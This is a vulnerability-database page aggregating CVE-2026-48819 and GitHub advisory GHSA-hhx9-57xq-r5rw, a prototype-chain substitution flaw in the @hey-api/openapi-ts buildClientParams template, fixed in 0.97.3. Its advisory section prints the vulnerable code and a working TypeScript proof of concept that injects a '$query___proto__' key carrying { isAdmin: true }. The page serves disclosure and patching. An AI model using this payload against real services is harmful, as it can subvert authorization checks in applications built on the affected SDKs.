Vulnerability-Lookup

CVE-2026-48819 (GCVE-0-2026-48819)

Vulnerability from cvelistv5 – Published: 2026-07-17 19:46 – Updated: 2026-07-20 16:24

Title

Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key

Summary

Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["__proto__"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.

Severity

4.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/hey-api/hey-api/security/advis…	x_refsource_CONFIRM
https://github.com/hey-api/hey-api/commit/0239091…	x_refsource_MISC
https://github.com/hey-api/hey-api/commit/da321a1…	x_refsource_MISC
https://github.com/hey-api/hey-api/releases/tag/%…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
hey-api	openapi-ts	Affected: < 0.97.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48819",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-20T16:23:29.690460Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-20T16:24:20.624Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "openapi-ts",
          "vendor": "hey-api",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.97.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\"query\"][\"__proto__\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-17T19:46:00.402Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw"
        },
        {
          "name": "https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f"
        },
        {
          "name": "https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169"
        },
        {
          "name": "https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3"
        }
      ],
      "source": {
        "advisory": "GHSA-hhx9-57xq-r5rw",
        "discovery": "UNKNOWN"
      },
      "title": "Hey API: `buildClientParams` template: prototype chain substitution via unknown `$\u003cslot\u003e___proto__` key"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48819",
    "datePublished": "2026-07-17T19:46:00.402Z",
    "dateReserved": "2026-05-22T20:57:10.976Z",
    "dateUpdated": "2026-07-20T16:24:20.624Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-48819",
      "date": "2026-07-28",
      "epss": "0.00221",
      "percentile": "0.12837"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-48819\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-17T20:17:21.553\",\"lastModified\":\"2026-07-23T18:02:00.793\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\\\"query\\\"][\\\"__proto__\\\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"hey-api\",\"product\":\"openapi-ts\",\"versions\":[{\"version\":\"\u003c 0.97.3\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\",\"baseScore\":4.8,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.2,\"impactScore\":2.5}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-20T16:23:29.690460Z\",\"id\":\"CVE-2026-48819\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-1321\"}]}],\"references\":[{\"url\":\"https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-48819\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-20T16:23:29.690460Z\"}}}], \"references\": [{\"url\": \"https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-20T16:23:41.237Z\"}}], \"cna\": {\"title\": \"Hey API: `buildClientParams` template: prototype chain substitution via unknown `$\u003cslot\u003e___proto__` key\", \"source\": {\"advisory\": \"GHSA-hhx9-57xq-r5rw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 4.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"hey-api\", \"product\": \"openapi-ts\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.97.3\"}]}], \"references\": [{\"url\": \"https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw\", \"name\": \"https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f\", \"name\": \"https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169\", \"name\": \"https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3\", \"name\": \"https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\\\"query\\\"][\\\"__proto__\\\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-1321\", \"description\": \"CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-17T19:46:00.402Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-48819\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-20T16:24:20.624Z\", \"dateReserved\": \"2026-05-22T20:57:10.976Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-17T19:46:00.402Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-48819

Vulnerability from fkie_nvd - Published: 2026-07-17 20:17 - Updated: 2026-07-23 18:02

Severity

4.8 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f
	security-advisories@github.com	https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169
	security-advisories@github.com	https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3
	security-advisories@github.com	https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "openapi-ts",
          "vendor": "hey-api",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.97.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\"query\"][\"__proto__\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3."
    }
  ],
  "id": "CVE-2026-48819",
  "lastModified": "2026-07-23T18:02:00.793",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48819",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T16:23:29.690460Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-17T20:17:21.553",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HHX9-57XQ-R5RW

Vulnerability from github – Published: 2026-07-01 20:55 – Updated: 2026-07-01 20:55

Summary

@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key

Details

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" — own property, normal
console.log(q.isAdmin);                     // true — inherited via prototype chain
console.log(Object.keys(q));               // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@hey-api/openapi-ts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.97.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:55:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) =\u003e key.startsWith(prefix))\nif (extra) {\n  const [prefix, slot] = extra\n  ;(params[slot] as Record\u003cstring, unknown\u003e)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method \u2014 a common pattern in proxy servers, BFF layers, and API gateways \u2014 an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=\u003cstring\u003e\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . \u0026\u0026 docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=\u003cstring\u003e\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n  [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n  generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q);                           // \"hello\" \u2014 own property, normal\nconsole.log(q.isAdmin);                     // true \u2014 inherited via prototype chain\nconsole.log(Object.keys(q));               // [\"q\"] \u2014 own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n  Scenario: GET /search with fields [{ in:\u0027query\u0027, key:\u0027q\u0027 }]\n  Attacker request: { q: \u0027hello\u0027, \u0027$query___proto__\u0027: { isAdmin: true } }\n\n  result.query.q         = hello\n  result.query.isAdmin   = true  \u2190 inherited, NOT own\n  Object.keys(q)         = [ \u0027q\u0027 ]\n  for..in keys           = q, isAdmin\n  Object.getPrototypeOf  = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified \u2014 impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.",
  "id": "GHSA-hhx9-57xq-r5rw",
  "modified": "2026-07-01T20:55:17Z",
  "published": "2026-07-01T20:55:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hey-api/openapi-ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@hey-api/openapi-ts\u0027s `buildClientParams` template: prototype chain substitution via unknown `$\u003cslot\u003e___proto__` key"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-48819 (GCVE-0-2026-48819)

FKIE_CVE-2026-48819

GHSA-HHX9-57XQ-R5RW

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature